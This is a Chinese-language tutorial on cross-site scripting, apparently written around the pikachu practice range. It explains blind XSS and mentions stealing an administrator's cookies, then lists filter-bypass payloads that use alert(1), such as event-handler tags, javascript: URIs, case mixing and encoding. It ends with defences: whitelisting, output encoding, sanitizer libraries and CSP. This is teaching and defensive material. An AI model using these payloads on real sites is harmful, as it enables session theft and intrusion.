文章目录
-
- 一、XSS之盲打
-
- 🎯 漏洞原理
- 二、XSS 之过滤
-
- (一) 攻击者视角:常见的过滤绕过技巧
-
- 1. 标签与事件绕过
- 2. 关键字绕过
- 3. DOM 型过滤绕过
- (二) 防御者视角:如何构建可靠的防御体系
-
- 1. 输入验证(白名单优先)
- 2. 输出编码(最核心的防线)
- 3. 使用安全的库(避免重复造轮子)
- 4. 内容安全策略
前言:本文仅用于合法授权的渗透测试场景,旨在帮助开发者识别XSS漏洞、提升Web应用安全性,严禁用于未授权攻击!网络安全无小事,违规操作将承担相应法律责任。
一、XSS之盲打
XSS盲打(Blind XSS)是存储型XSS的一种特殊变体,其核心挑战在于攻击者无法直接看到攻击结果。这通常发生在用户输入被存储在服务器(如数据库、日志文件)中,但不会在当前页面立即显示,而是由其他用户(如管理员)在后台或其他页面查看时才会触发。
🎯 漏洞原理

在留言这里输入 ,并提交,当管理员再次登录的时候,就会触发 playload。

当然,实战中,可以通过该漏洞获取到管理源的 cookie、session等信息。
二、XSS 之过滤
XSS 过滤是防御跨站脚本攻击的核心手段,但也是攻防对抗最激烈的领域。很多开发者以为“把 <script> 标签删掉就安全了”,但攻击者总有各种办法绕过这些简单的检查。
这里结合 pikachu 靶场梳理了常见的绕过技巧和真正的防御方案。

(一) 攻击者视角:常见的过滤绕过技巧
在渗透测试或 CTF 中,如果你发现输入被过滤了,可以尝试以下思路:
1. 标签与事件绕过
很多过滤器只拦截 <script>,却忽略了其他标签。
- 利用其他标签:
- <img src=x onerror=alert(1)> (利用图片加载失败事件)
- <svg onload=alert(1)> (利用 SVG 矢量图标签)
- <iframe src=javascript:alert(1)> (利用内联框架)
- <body onload=alert(1)> (利用页面加载事件)
- 利用伪协议:
- <a href="javascript:alert(1)">点击</a>
- <img src="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'/>"> (利用 Data URI)
2. 关键字绕过
如果 onerror、alert 被过滤,可以尝试:
- 大小写混淆:<ImG sRc=x oNeRrOr=alert(1)>
- 双写/多写过滤:<img srconerror=alert(1)> (如果过滤器只删除一次,剩下 onerror)
- 利用注释:<scr<!– –>ipt>alert(1)</script> 或 <img src=x onerror=alert/*x*/(1)>
- 编码绕过:
- 十六进制:<img src=x onerror=alert(1)>
- 十进制:<img src=x onerror=alert(1)>
- javascript: 伪协议的编码:<a href="javascript:alert(1)">
3. DOM 型过滤绕过
针对你之前遇到的 DOM XSS,如果前端 JavaScript 过滤了 # 后面的内容,可以尝试:
- 利用 ? 代替 #:如果代码只处理 hash,可以尝试在查询参数中注入。
- 利用 location.search:如果过滤了 location.hash,但使用了 location.search,攻击方式同上。
(二) 防御者视角:如何构建可靠的防御体系
作为开发者,永远不要依赖“黑名单”(即只过滤已知的危险词)。因为攻击向量无穷无尽,你永远无法列全。正确的做法是白名单策略和上下文相关的输出编码。
1. 输入验证(白名单优先)
不要试图清理所有恶意代码,而是只允许合法的输入通过。
- 严格校验格式:例如用户名只允许字母、数字和下划线,长度限制在 3-16 位。
- 正则示例:/^[a-zA-Z0-9_]{3,16}$/
- 拒绝非法输入:对于不符合白名单格式的数据,直接拒绝处理(返回 400 错误),不要尝试“清理”它。
2. 输出编码(最核心的防线)
这是防御 XSS 最有效、最通用的方法。根据数据插入的位置(上下文)进行不同的编码。
| HTML 文本内容 | 将特殊字符转为 HTML 实体 | < 转为 <,> 转为 > |
| HTML 属性值内 | 除了实体编码,还要编码引号 | " 转为 ",' 转为 ' |
| JavaScript 代码内 | 使用 Unicode 或十六进制编码 | </script> 转为 \\x3c\\x2fscript\\x3e |
| URL 参数内 | 使用百分号编码 (Percent-encoding) | < 转为 %3C," 转为 %22 |
3. 使用安全的库(避免重复造轮子)
手动编写过滤逻辑极易出错,应使用经过社区广泛验证的库。
- 前端 (JavaScript/Node.js):
- DOMPurify:专门用于净化 HTML,允许你定义白名单标签(如 <b>, <i>, <a>),同时移除所有危险的事件属性(如 onerror)和脚本。
- 后端:
- Java:使用 OWASP Java HTML Sanitizer 或 Jsoup。它们基于白名单策略,可以安全地处理富文本。
- Python:使用 Bleach(基于白名单的 HTML 清理器)。
- PHP:使用 htmlspecialchars() 函数进行转义。
4. 内容安全策略
这是浏览器的“最后一道防线”。即使你的代码有漏洞,CSP 也能阻止恶意脚本的执行。
- 核心思想:告诉浏览器,页面只能加载指定来源的脚本。
- 配置示例:
- Content-Security-Policy: default-src 'self';
- 这表示只允许加载同源(和当前网站同一个域名)的脚本,内联脚本(<script>…</script>)和 eval() 默认会被禁止。
- 配合 Nonce:对于必须执行的内联脚本,可以使用 nonce 机制,为脚本生成一个随机令牌,只有带上正确令牌的脚本才能执行。





